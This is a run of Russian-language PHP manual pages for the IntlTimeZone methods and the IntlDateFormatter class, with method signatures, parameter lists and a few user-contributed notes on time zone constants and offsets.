(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::countEquivalentIDs -- intltz_count_equivalent_ids — Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::countEquivalentIDs(string $timezoneId): int|false

Процедурный стиль:

intltz_count_equivalent_ids(string $timezoneId): int|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создать новую копию часового пояса по умолчанию для текущего хоста

  • « IntlTimeZone::countEquivalentIDs
  • IntlTimeZone::createEnumeration »
  • PHP Manual
  • IntlTimeZone
  • Создать новую копию часового пояса по умолчанию для текущего хоста

IntlTimeZone::createDefault

intltz_create_default

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createDefault -- intltz_create_default — Создать новую копию часового пояса по умолчанию для текущего хоста

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::createDefault(): IntlTimeZone

Процедурный стиль:

intltz_create_default(): IntlTimeZone

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению

  • « IntlTimeZone::createDefault
  • IntlTimeZone::createTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению

IntlTimeZone::createEnumeration

intltz_create_enumeration

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createEnumeration -- intltz_create_enumeration — Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::createEnumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false

Процедурный стиль:

intltz_create_enumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

countryOrRawOffset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создать объект часового пояса по заданному идентификатору

  • « IntlTimeZone::createEnumeration
  • IntlTimeZone::createTimeZoneIDEnumeration »
  • PHP Manual
  • IntlTimeZone
  • Создать объект часового пояса по заданному идентификатору

IntlTimeZone::createTimeZone

intltz_create_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createTimeZone -- intltz_create_time_zone — Создать объект часового пояса по заданному идентификатору

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::createTimeZone(string $timezoneId): ?IntlTimeZone

Процедурный стиль:

intltz_create_time_zone(string $timezoneId): ?IntlTimeZone

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации

  • « IntlTimeZone::createTimeZone
  • IntlTimeZone::fromDateTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации

IntlTimeZone::createTimeZoneIDEnumeration

intltz_create_time_zone_id_enumeration

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::createTimeZoneIDEnumeration -- intltz_create_time_zone_id_enumeration — Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::createTimeZoneIDEnumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false

Процедурный стиль:

intltz_create_time_zone_id_enumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

type

region

rawOffset

Возвращаемые значения

Возвращает IntlIterator или false в случае возникновения ошибки.

User Contributed Notes

mattkyn at gmail dot com 04-Mar-2022 11:36
Iterating the return value gives you a a string with the time zone ID (ie "Europe/London" or "Etc/GMT-1")

For the constants to use for the `zoneType` argument, see:
https://github.com/php/php-src/blob/master/ext/intl/timezone/timezone_class.cpp#L419-L421

<?php
IntlTimeZone::TYPE_ANY // the whole lot, including aliases like "CST"
IntlTimeZone::TYPE_CANONICAL // the canonical IDs (no aliases)
IntlTimeZone::TYPE_CANONICAL_LOCATION // only IDs for locations (no "Etc/GMT-1")
?>


Создать объект часового пояса из DateTimeZone

  • « IntlTimeZone::createTimeZoneIDEnumeration
  • IntlTimeZone::getCanonicalID »
  • PHP Manual
  • IntlTimeZone
  • Создать объект часового пояса из DateTimeZone

IntlTimeZone::fromDateTimeZone

intltz_from_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::fromDateTimeZone -- intltz_from_date_time_zone — Создать объект часового пояса из DateTimeZone

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::fromDateTimeZone(DateTimeZone $timezone): ?IntlTimeZone

Процедурный стиль:

intltz_from_date_time_zone(DateTimeZone $timezone): ?IntlTimeZone

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezone

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса

  • « IntlTimeZone::fromDateTimeZone
  • IntlTimeZone::getDisplayName »
  • PHP Manual
  • IntlTimeZone
  • Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса

IntlTimeZone::getCanonicalID

intltz_get_canonical_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getCanonicalID -- intltz_get_canonical_id — Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getCanonicalID(string $timezoneId, bool &$isSystemId = null): string|false

Процедурный стиль:

intltz_get_canonical_id(string $timezoneId, bool &$isSystemId = null): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

isSystemId

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить имя часового пояса для отображения пользователю

  • « IntlTimeZone::getCanonicalID
  • IntlTimeZone::getDSTSavings »
  • PHP Manual
  • IntlTimeZone
  • Получить имя часового пояса для отображения пользователю

IntlTimeZone::getDisplayName

intltz_get_display_name

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getDisplayName -- intltz_get_display_name — Получить имя часового пояса для отображения пользователю

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getDisplayName(bool $dst = false, int $style = IntlTimeZone::DISPLAY_LONG, ?string $locale = null): string|false

Процедурный стиль:

intltz_get_display_name(
IntlTimeZone $timezone,
bool $dst = false,
int $style = IntlTimeZone::DISPLAY_LONG,
?string $locale = null
): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

dst

style

locale

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время

  • « IntlTimeZone::getDisplayName
  • IntlTimeZone::getEquivalentID »
  • PHP Manual
  • IntlTimeZone
  • Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время

IntlTimeZone::getDSTSavings

intltz_get_dst_savings

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getDSTSavings -- intltz_get_dst_savings — Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getDSTSavings(): int

Процедурный стиль:

intltz_get_dst_savings(IntlTimeZone $timezone): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор

  • « IntlTimeZone::getDSTSavings
  • IntlTimeZone::getErrorCode »
  • PHP Manual
  • IntlTimeZone
  • Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор

IntlTimeZone::getEquivalentID

intltz_get_equivalent_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getEquivalentID -- intltz_get_equivalent_id — Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getEquivalentID(string $timezoneId, int $offset): string|false

Процедурный стиль:

intltz_get_equivalent_id(string $timezoneId, int $offset): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить последний код об ошибке в объекте

  • « IntlTimeZone::getEquivalentID
  • IntlTimeZone::getErrorMessage »
  • PHP Manual
  • IntlTimeZone
  • Получить последний код об ошибке в объекте

IntlTimeZone::getErrorCode

intltz_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getErrorCode -- intltz_get_error_code — Получить последний код об ошибке в объекте

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getErrorCode(): int|false

Процедурный стиль:

intltz_get_error_code(IntlTimeZone $timezone): int|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить последнее сообщение об ошибке в объекте

  • « IntlTimeZone::getErrorCode
  • IntlTimeZone::getGMT »
  • PHP Manual
  • IntlTimeZone
  • Получить последнее сообщение об ошибке в объекте

IntlTimeZone::getErrorMessage

intltz_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getErrorMessage -- intltz_get_error_message — Получить последнее сообщение об ошибке в объекте

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getErrorMessage(): string|false

Процедурный стиль:

intltz_get_error_message(IntlTimeZone $timezone): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создать часовой пояс по GMT (UTC)

  • « IntlTimeZone::getErrorMessage
  • IntlTimeZone::getID »
  • PHP Manual
  • IntlTimeZone
  • Создать часовой пояс по GMT (UTC)

IntlTimeZone::getGMT

intltz_get_gmt

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getGMT -- intltz_get_gmt — Создать часовой пояс по GMT (UTC)

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getGMT(): IntlTimeZone

Процедурный стиль:

intltz_get_gmt(): IntlTimeZone

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить идентификатор часового пояса

  • « IntlTimeZone::getGMT
  • IntlTimeZone::getIDForWindowsID »
  • PHP Manual
  • IntlTimeZone
  • Получить идентификатор часового пояса

IntlTimeZone::getID

intltz_get_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getID -- intltz_get_id — Получить идентификатор часового пояса

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getID(): string|false

Процедурный стиль:

intltz_get_id(IntlTimeZone $timezone): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать часовой пояс для Windows в системный часовой пояс

  • « IntlTimeZone::getID
  • IntlTimeZone::getOffset »
  • PHP Manual
  • IntlTimeZone
  • Преобразовать часовой пояс для Windows в системный часовой пояс

IntlTimeZone::getIDForWindowsID

intltz_get_id_for_windows_id

(PHP 7 >= 7.1.0, PHP 8)

IntlTimeZone::getIDForWindowsID -- intltz_get_id_for_windows_id — Преобразовать часовой пояс для Windows в системный часовой пояс

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getIDForWindowsID(string $timezoneId, ?string $region = null): string|false

Процедурный стиль:

intltz_get_id_for_windows_id(string $timezoneId, ?string $region = null): string|false

Переводит часовой пояс для Windows (например, «Pacific Standard Time») в системный часовой пояс (например, «America/Los_Angeles»).

Замечание: Для работы этой функции требуется ICU версии ? 52.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

region

Возвращаемые значения

Возвращает системный часовой пояс или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр region теперь допускает значение null.

Смотрите также

  • IntlTimeZone::getWindowsID() - Преобразовать системный часовой пояс в часовой пояс для Windows

User Contributed Notes

There are no user contributed notes for this page.


Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени

  • « IntlTimeZone::getIDForWindowsID
  • IntlTimeZone::getRawOffset »
  • PHP Manual
  • IntlTimeZone
  • Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени

IntlTimeZone::getOffset

intltz_get_offset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getOffset -- intltz_get_offset — Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getOffset(
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool

Процедурный стиль:

intltz_get_offset(
IntlTimeZone $timezone,
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timestamp

local

rawOffset

dstOffset

Возвращаемые значения

User Contributed Notes

Anonymous 13-Jul-2018 09:22
/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */


Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени

  • « IntlTimeZone::getOffset
  • IntlTimeZone::getRegion »
  • PHP Manual
  • IntlTimeZone
  • Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени

IntlTimeZone::getRawOffset

intltz_get_raw_offset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getRawOffset -- intltz_get_raw_offset — Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::getRawOffset(): int

Процедурный стиль:

intltz_get_raw_offset(IntlTimeZone $timezone): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

Anonymous 12-Jul-2018 06:34
The return value is the difference, in milliseconds, between UTC and local time. Note that this means that the offset is positive if the local timezone is behind UTC and negative if it is ahead.


Получить код региона, соответствующего заданному идентификатору системного часового пояса

  • « IntlTimeZone::getRawOffset
  • IntlTimeZone::getTZDataVersion »
  • PHP Manual
  • IntlTimeZone
  • Получить код региона, соответствующего заданному идентификатору системного часового пояса

IntlTimeZone::getRegion

intltz_get_region

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::getRegion -- intltz_get_region — Получить код региона, соответствующего заданному идентификатору системного часового пояса

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getRegion(string $timezoneId): string|false

Процедурный стиль:

intltz_get_region(string $timezoneId): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

Возвращаемые значения

Возвращает регион или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить версию данных о часовом поясе, который в данный момент используется в ICU

  • « IntlTimeZone::getRegion
  • IntlTimeZone::getUnknown »
  • PHP Manual
  • IntlTimeZone
  • Получить версию данных о часовом поясе, который в данный момент используется в ICU

IntlTimeZone::getTZDataVersion

intltz_get_tz_data_version

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getTZDataVersion -- intltz_get_tz_data_version — Получить версию данных о часовом поясе, который в данный момент используется в ICU

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getTZDataVersion(): string|false

Процедурный стиль:

intltz_get_tz_data_version(): string|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить неизвестный часовой пояс («unknown»)

  • « IntlTimeZone::getTZDataVersion
  • IntlTimeZone::getWindowsID »
  • PHP Manual
  • IntlTimeZone
  • Получить неизвестный часовой пояс («unknown»)

IntlTimeZone::getUnknown

intltz_get_unknown

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::getUnknown -- intltz_get_unknown — Получить неизвестный часовой пояс («unknown»)

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getUnknown(): IntlTimeZone

Процедурный стиль:

intltz_get_unknown(): IntlTimeZone

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает IntlTimeZone или null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать системный часовой пояс в часовой пояс для Windows

  • « IntlTimeZone::getUnknown
  • IntlTimeZone::hasSameRules »
  • PHP Manual
  • IntlTimeZone
  • Преобразовать системный часовой пояс в часовой пояс для Windows

IntlTimeZone::getWindowsID

intltz_get_windows_id

(PHP 7 >= 7.1.0, PHP 8)

IntlTimeZone::getWindowsID -- intltz_get_windows_id — Преобразовать системный часовой пояс в часовой пояс для Windows

Описание

Объектно-ориентированный стиль (метод):

public static IntlTimeZone::getWindowsID(string $timezoneId): string|false

Процедурный стиль:

intltz_get_windows_id(string $timezoneId): string|false

Переводит системный часовой пояс (например, «America/Los_Angeles») в часовой пояс для Windows (например, «Pacific Standard Time»).

Замечание: Для работы этой функции требуется ICU версии ? 52.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

timezoneId

Возвращаемые значения

Возвращает часовой пояс для Windows или false в случае возникновения ошибки.

Смотрите также

  • IntlTimeZone::getIDForWindowsID() - Преобразовать часовой пояс для Windows в системный часовой пояс

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном

  • « IntlTimeZone::getWindowsID
  • IntlTimeZone::toDateTimeZone »
  • PHP Manual
  • IntlTimeZone
  • Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном

IntlTimeZone::hasSameRules

intltz_has_same_rules

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::hasSameRules -- intltz_has_same_rules — Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::hasSameRules(IntlTimeZone $other): bool

Процедурный стиль:

intltz_has_same_rules(IntlTimeZone $timezone, IntlTimeZone $other): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

other

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать в объект DateTimeZone

  • « IntlTimeZone::hasSameRules
  • IntlTimeZone::useDaylightTime »
  • PHP Manual
  • IntlTimeZone
  • Преобразовать в объект DateTimeZone

IntlTimeZone::toDateTimeZone

intltz_to_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::toDateTimeZone -- intltz_to_date_time_zone — Преобразовать в объект DateTimeZone

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::toDateTimeZone(): DateTimeZone|false

Процедурный стиль:

intltz_to_date_time_zone(IntlTimeZone $timezone): DateTimeZone|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что в данном часовом поясе используется летнее время

  • « IntlTimeZone::toDateTimeZone
  • IntlDateFormatter »
  • PHP Manual
  • IntlTimeZone
  • Проверить, что в данном часовом поясе используется летнее время

IntlTimeZone::useDaylightTime

intltz_use_daylight_time

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::useDaylightTime -- intltz_use_daylight_time — Проверить, что в данном часовом поясе используется летнее время

Описание

Объектно-ориентированный стиль (метод):

public IntlTimeZone::useDaylightTime(): bool

Процедурный стиль:

intltz_use_daylight_time(IntlTimeZone $timezone): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс IntlDateFormatter

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

Это класс позволяющий форматировать/разбирать даты в соответствиями с настройками локали, используя строковые и/или библиотечные шаблоны.

Класс предоставляет функциональность форматирования дат ICU. Он позволяет пользователям отображать даты в формате, принятым в их локали. Или разбирать значения дат используя строковые и/или библиотечные шаблоны.

Синопсис класса

class IntlDateFormatter {
/* Константы */
public const int FULL;
public const int LONG;
public const int MEDIUM;
public const int SHORT;
public const int NONE;
public const int RELATIVE_FULL;
public const int RELATIVE_LONG;
public const int RELATIVE_MEDIUM;
public const int RELATIVE_SHORT;
public const int GREGORIAN;
public const int TRADITIONAL;
/* Методы */
public __construct(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
)
public static create(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
): ?IntlDateFormatter
public format(IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false
public static formatObject(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false
public getCalendar(): int|false
public getDateType(): int|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false
public getPattern(): string|false
public getTimeType(): int|false
public getTimeZoneId(): string|false
public getCalendarObject(): IntlCalendar|false|null
public getTimeZone(): IntlTimeZone|false
public isLenient(): bool
public localtime(string $string, int &$offset = null): array|false
public parse(string $string, int &$offset = null): int|float|false
public setCalendar(IntlCalendar|int|null $calendar): bool
public setLenient(bool $lenient): void
public setPattern(string $pattern): bool
public setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): ?bool
}

Смотрите также

  • » Форматирование дат ICU
  • » Форматы дат ICU

Предопределённые константы

Эти константы используются для задания формата в конструкторах DateType и TimeType.

IntlDateFormatter::NONE
Не включать этот элемент
IntlDateFormatter::FULL
Полный формат (Tuesday, April 12, 1952 AD or 3:30:42pm PST)
IntlDateFormatter::LONG
Длинный формат (January 12, 1952 or 3:30:32pm)
IntlDateFormatter::MEDIUM
Средний формат (Jan 12, 1952)
IntlDateFormatter::SHORT
Наиболее сокращённый формат, только самые необходимые данные (12/13/52 или 3:30pm)
IntlDateFormatter::RELATIVE_FULL
То же, что и IntlDateFormatter::FULL, но "вчера", "сегодня" и "завтра" выводятся как yesterday, today и tomorrow. Доступно с PHP 8.0.0 только для dateType.
IntlDateFormatter::RELATIVE_LONG
То же, что и IntlDateFormatter::LONG, но "вчера", "сегодня" и "завтра" выводятся как yesterday, today и tomorrow. Доступно с PHP 8.0.0 только для dateType.
IntlDateFormatter::RELATIVE_MEDIUM
То же, что и IntlDateFormatter::MEDIUM, но "вчера", "сегодня" и "завтра" выводятся как yesterday, today и tomorrow. Доступно с PHP 8.0.0 только для dateType.
IntlDateFormatter::RELATIVE_SHORT
То же, что и IntlDateFormatter::SHORT, но "вчера", "сегодня" и "завтра" выводятся как yesterday, today и tomorrow. Доступно с PHP 8.0.0 только для dateType.

Следующие константы используются для задания типа календаря. Эти календари прямо завязаны на Григорианский календарь. Не Григорианский календарь должен быть задан в локали. Например, locale="hi@calendar=BUDDHIST".

IntlDateFormatter::TRADITIONAL
Не Григорианский календарь
IntlDateFormatter::GREGORIAN
Григорианский календарь

Содержание

  • IntlDateFormatter::create — Создаёт средство форматирования даты
  • IntlDateFormatter::format — Форматирует значение даты/времени в виде строки
  • IntlDateFormatter::formatObject — Форматирует объект
  • IntlDateFormatter::getCalendar — Получает тип календаря, используемый IntlDateFormatter
  • IntlDateFormatter::getDateType — Получает тип даты, используемый IntlDateFormatter
  • IntlDateFormatter::getErrorCode — Получает код ошибки последней операции
  • IntlDateFormatter::getErrorMessage — Получает текст ошибки последней операции
  • IntlDateFormatter::getLocale — Получает языковой стандарт, используемый средством форматирования
  • IntlDateFormatter::getPattern — Получает шаблон, используемый IntlDateFormatter
  • IntlDateFormatter::getTimeType — Получает тип времени, используемый IntlDateFormatter
  • IntlDateFormatter::getTimeZoneId — Получает идентификатор часового пояса, используемый IntlDateFormatter
  • IntlDateFormatter::getCalendarObject — Получает копию объекта календаря средства форматирования
  • IntlDateFormatter::getTimeZone — Получает часовой пояс средства форматирования
  • IntlDateFormatter::isLenient — Получает снисходительность, используемую для IntlDateFormatter
  • IntlDateFormatter::localtime — Преобразует строку в значение времени на основе поля
  • IntlDateFormatter::parse — Преобразует строку в значение отметки времени
  • IntlDateFormatter::setCalendar — Устанавливает тип календаря, используемый средством форматирования
  • IntlDateFormatter::setLenient — Устанавливает мягкий режим анализатора
  • IntlDateFormatter::setPattern — Устанавливает шаблон, используемый IntlDateFormatter
  • IntlDateFormatter::setTimeZone — Устанавливает часовой пояс средства форматирования

User Contributed Notes

There are no user contributed notes for this page.


Создаёт средство форматирования даты

  • « IntlDateFormatter
  • IntlDateFormatter::format »
  • PHP Manual
  • IntlDateFormatter
  • Создаёт средство форматирования даты

IntlDateFormatter::create

datefmt_create

IntlDateFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::create -- datefmt_create -- IntlDateFormatter::__construct — Создаёт средство форматирования даты

Описание

Объектно-ориентированный стиль

public static IntlDateFormatter::create(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
): ?IntlDateFormatter

Объектно-ориентированный стиль (конструктор)

public IntlDateFormatter::__construct(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
)

Процедурный стиль

datefmt_create(
?string $locale,
int $dateType,
int $timeType,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
string $pattern = ""
): ?IntlDateFormatter

Создаёт средство форматирования даты.

Список параметров

locale

Языковой стандарт, используемый при форматировании или синтаксическом анализе или null для использования значения, указанного в ini-настройке intl.default_locale.

dateType

Тип даты (none, short, medium, long, full). Одна из констант IntlDateFormatter.

timeType

Тип времени (none, short, medium, long, full). Одна из констант IntlDateFormatter.

timezone

Идентификатор часового пояса. По умолчанию (и тот, который используется, если указан null) - это тот, который возвращается date_default_timezone_get() или, если применимо, объект IntlCalendar, указанный в параметре calendar. Этот идентификатор должен быть корректным идентификатором в базе данных ICU или идентификатором, представляющим явное смещение, например, GMT-05:30.

Также может быть объект IntlTimeZone или DateTimeZone.

calendar

Календарь для форматирования или анализа. Значение по умолчанию - null, что соответствует IntlDateFormatter::GREGORIAN. Может быть одна из констант IntlDateFormatter или объект IntlCalendar. Любой переданный объект IntlCalendar будет клонирован; он не будет изменён IntlDateFormatter. Это определит используемый тип календаря (григорианский, исламский, персидский и т.д.) и, если в параметре timezone указано значение null, также определит используемый часовой пояс.

pattern

Необязательный шаблон для использования при форматировании или анализе. Возможные шаблоны задокументированы по адресу » https://unicode-org.github.io/icu/userguide/format_parse/datetime/.

Возвращаемые значения

